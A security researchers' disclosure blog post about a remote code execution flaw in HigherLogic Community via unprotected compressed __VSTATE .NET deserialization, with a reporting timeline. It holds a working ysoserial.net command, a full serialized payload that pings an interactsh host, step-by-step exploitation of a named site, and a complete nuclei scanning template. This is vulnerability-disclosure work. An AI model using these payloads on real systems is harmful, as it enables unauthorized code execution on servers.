Skip to main content

HigherLogic Community RCE Vulnerability

We initially became interested in the __VSTATE parameter after reading this article by graanl which we saw after reading this article from The Record about an APT group exploiting how it works.

What is a ViewState?

A ViewState is a parameter that contains information about the state of a users session, eg. are they logged in, who are they logged in as, what settings have they changed. In .NET this is in the form of a serialized .NET object in the __VIEWSTATE parameter. So on every request to the webserver the user sends back this viewstate that the website gave them and this is how the server manages the users session. The security implications for this are quite clear for anyone who’s heard of deserialization before, it can lead to code execution!

What is __VSTATE then?

In the late 2000’s people running .NET websites had a problem - they had these huge ViewStates in their webpages. So to solve this issue with large viewstates some developers came up with a hacky solution - let’s compress it! In order to achieve this they added code that would store the users viewstate in __VSTATE instead of the default __VIEWSTATE and it would be compressed, usually with gzip.

Some years later people realized the problems with __VIEWSTATE being vulnerable to Remote Code Execution (RCE) so changes were made to how it worked and they added settings to make it encrypted with a key so that users couldn’t tamper with it (it isn’t perfect as detailed in Soroush’s blog posts).

The problem is that applications using the __VSTATE trick never got these updates as developers would have to manually implement these changes themselves if they were to have them. There is also many websites and StackOverflow answers telling people to use this insecure technique on their .NET webapps which is keeping this issue alive.

Searching for instances of VSTATE

Now that we had something interesting to look for we went to publicwww.com and searched for __VSTATE. On there we noticed a lot of sites using HigherLogic Community and so we tested the issue.

Proof of Concept

First we got an interactsh link for testing. Burp Collaborator would also work but some servers were configured not to ping out to Burp Collaborator. To generate the payload we used ysoserial.net Simply run this command to generate the payload:

ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "ping c61u8rqnvisr75g3vfv0cgb6ehyyyyyyn.interactsh.com" -o raw | base64 -d | gzip - | base64 -w0
Payload:

H4sIAAAAAAAAA81VW2/TMBROltZNshU2BAjGS8QTaFXWy64PQ5o6LtUEmsjEy1Sx1D3LIhJ7s51J5ZlX/gt/jV8wfFp3MMQYFR3CVY+v5/Pn4y/H53bz64JlW5Z1rgvWWOZmtOlEA6kgrwXvQMiUs62VsI6/WtAuMlUI2GJQKBFntWCv6GUp3YXBPv8AbKu3vh6v0tW1xmZrBeobm2XE/WSP8MI2zzKgSiPK8CUwECkNIy4U9CNQh42DA7MuUiJlSS3IJeUiS3tTINLtljSTcpsXTLltnp/EAkTFwJY7eldpORZxP/+O68gvlZyNEW6atIvXgX/PGTfwHCXs/WdU8aZn39OLfZ3HZrcdyCCJFUSaWJylH2Nk+opnfRBeWTstlMzRCNFmY5kGJ5pdQNcaxYY4ZWepFOurSevs6KxOk94aHA+GhYUpUyBiquRxqLclFe3t0LxfQtA/2Bxj6I7nKzmoY96vm7rhOE79eoil8dxzpsRg2Ti8hSNzH+FryHsgOuyI/8J70vWei/fvofFRBNidmCRGqaQGJ+DGUurdsgFRsUhA3RlV+3pq28zc+j70Js7BH8UGm9X+j5i2PWPb9uQBI7OazJcZ4/aiYPSwdaMirf0T8J00ThiXKqUy3BOcgpS1YGoptdslczpsu1Ok7pPqVLM+uaXhFq+OBrmNuTjS6lLePOoRNT3p1zAUMmpxbixX7HjtTOt62IrShMXI279oNf0RJCp63qTKbZEUOTAlbSyW41YNEVx00PWQq4fx8fBU5K42z64+WjA81ZOfZHap+5Tc+3sM/PZ9G9MAxo7c16ZiMr2H8iAPtKle8iEP9dBSh6lWMzBLr+G5qB2aZmwCvxE3vFhskUfanF48VePn4aafo2EU/KH1MBYehsif/QZ2waXd9ggAAA==

Then we visit the target site ( eg. https://hug.higherlogic.com/home ) and change the value of _VSTATE parameter in the hidden form to your payload and change the type from hidden. Then click on the text box top left corner and hit enter to submit the form.

Screenshot of Firefox Look back at your interactsh session and you will see that a DNS interaction occurred because of the ping command that was sent. Screenshot of Interactsh

Reporting

The first thing we did was to submit the issue to ZDI in the hope that they would handle the disclosure process and perhaps even pay us a bounty. Unfortunately ZDI were not interested in our findings.

Our next step was to try and get in contact with HigherLogic. We initially emailed on October 12th. No Response. We sent a second email on October 20th and rang the company on the phone. No response. On October 27th we sent a third email and rang the phone number again. No response.

After being ignored several times by HigherLogic we decided to take a different approach. They may ignore us, but will they ignore clients? We found that 8x8 and IBM were running instances of HigherLogic so we reported to their VDP programs on HackerOne.

They were able to get in contact with HigherLogic about the problem. 8x8 where very helpful and we asked if they could try to get HigherLogic to respond to us and open a line of communication. After 8x8 contacted HigherLogic on our behalf we actually got an email from HigherLogic asking for the vulnerability details. We provided the details in the email and.. nothing, we got no response yet again. (do you see a pattern?)

Soon after that the 8x8 site and the IBM site received patches. Great! Problem fixed right? Not exactly. It became clear to us that HigherLogic didn’t intend to patch all their clients, instead choosing to leave them unaware of the problem despite having a patch on hand.

We submitted 2 more bug reports after 8x8 and IBM were patched. Each time the site owner would have to contact HigherLogic and request them to patch it. Why did they choose to leave clients unaware and only fixed the ones who asked? They were making security optional and knowingly leaving most of their customers vulnerable to RCE. It’s especially weird when you consider there doesn’t appear to be any self-hosted instances of HigherLogic, it’s all managed by them and on their infrastructure.

On January 4th we made the nuclei template and from our scans we found that there was 1,700 websites managed by HigherLogic that were STILL vulnerable to the RCE! These included some major companies and a lot of American unions. This did not sit well with us so we sent another email to HigherLogic informing them that in two weeks time we would be contacting all vulnerable customers about it and releasing this blogpost two weeks after that.

When we rechecked the vulnerable websites on January 18th they were all patched silently without any email back from HigherLogic and presumably without telling anyone about it.

Looks like Responsible Disclosure works after all…?

Timeline

Date Action
22/09/2021 Submitted vulnerability to ZDI
08/10/2021 ZDI rejected submission
12/10/2021 Initial email to HigherLogic requesting a security contact to send details to
20/10/2021 Another email asking for a response and called their phone number
27/10/2021 Another email asking for a contact and called their phone again
04/11/2021 Submitted VDP Report to 8x8
04/11/2021 Submitted VDP Report to IBM
08/11/2021 Receive an email from ITO-Security [at] higherlogic.com asking for the vulnerability details
09/11/2021 Send detailed email with vulnerability details to ITO-Security to which we receive no response
10/11/2021 8x8 site is patched by HigherLogic
11/11/2021 We ask 8x8 if they can ask HigherLogic about notifying and patching their other customers. 8x8 inform me that HigherLogic did not address these concerns.
11/11/2021 Email ITO-Security again to ask if they will be fixing it for other customers as they have resolved it in 8x8’s case.
16/11/2021 IBM site is patched by HigherLogic
22/11/2021 Submitted VDP Report to ConnectWise
21/12/2021 ConnectWise site patched by HigherLogic
04/01/2022 Sent email to ITO-Security notifying them that we will be publishing this in 30 days and contacting the vulnerable sites in 2 weeks. When we tested on this date there were 1700 websites vulnerable.
04/01/2022 Submitted BugBounty Report to Unnamed Company
07/01/2022 Awarded $1250 bounty from Unnamed Company
18/01/2022 All the sites appear to be patched, no emails sent.
03/02/2022 This blog post was released

Nuclei Template

In order for our payload to be deserialized the request needs to have a valid __HL-RequestVerificationToken so the first requests extracts that from the page. The template uses the interactsh functionality in nuclei to confirm the vulnerability when a DNS request is received to the randomly generated subdomain. To achieve this it decodes the base64 of the payload, does a string replacement to insert the link then compresses and rencodes it. We also modify a byte before our command in the serialized object. This is the length of the payload and needs to be updated as not all interaction domains are the same length. This template was made in early January in order to test a larger amount of websites quickly instead of doing it manually which we did for the bug bounty reports (as not many of the websites had bounty programs).

I won’t be submitting this template to the nuclei-templates repository as HigherLogic Community is on managed hosting and there should no longer be any vulnerable instances.

The Template

id: HigherLogic-RCE

info:
  name: HigherLogic-RCE
  author: Fir3God and meme-lord
  severity: critical
  reference:
    - https://blog.sorcery.ie/posts/higherlogic_rce
  tags: oast,rce

requests:
  - raw:
    - |
        GET /home HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36        
    - |
        POST /home HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36        
 
        ScriptManager1_TSM=&StyleSheetManager1_TSSM=&__EVENTTARGET=&__EVENTARGUMENT=&__VSTATE={{url_encode(base64(gzip(replace(base64_decode("/wEy7hEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAANS9jIHBpbmcgYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhLmludGVyYWN0LnNoBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs="),"5/c ping aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.interact.sh",html_unescape("&#"+(len("{{interactsh-url}}")+8)+";")+"/c ping {{interactsh-url}}"))))}}&__VIEWSTATE=&__HL-RequestVerificationToken={{hl_request_verification}}&ctl00%24SearchControl%24SearchTerm=&ctl00%24MainCopy%24ctl08%24SearchTerm=&ctl00%24MainCopy%24ctl30%24sortByToggle8b8812c3-d1db-4c35-99f7-86c034eb633f=Most+Recent&ctl00%24SearchControl%24hiddenSearchButton=

    redirects: true
    max-redirects: 3
    cookie-reuse: true
    extractors:
      - type: regex
        name: hl_request_verification
        part: body
        internal: true
        group: 1
        regex:
          - '<input\sname="__HL-RequestVerificationToken"\stype="hidden"\svalue="([a-zA-Z0-9-_/]*)"\s/>'        
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

Free Meme

meme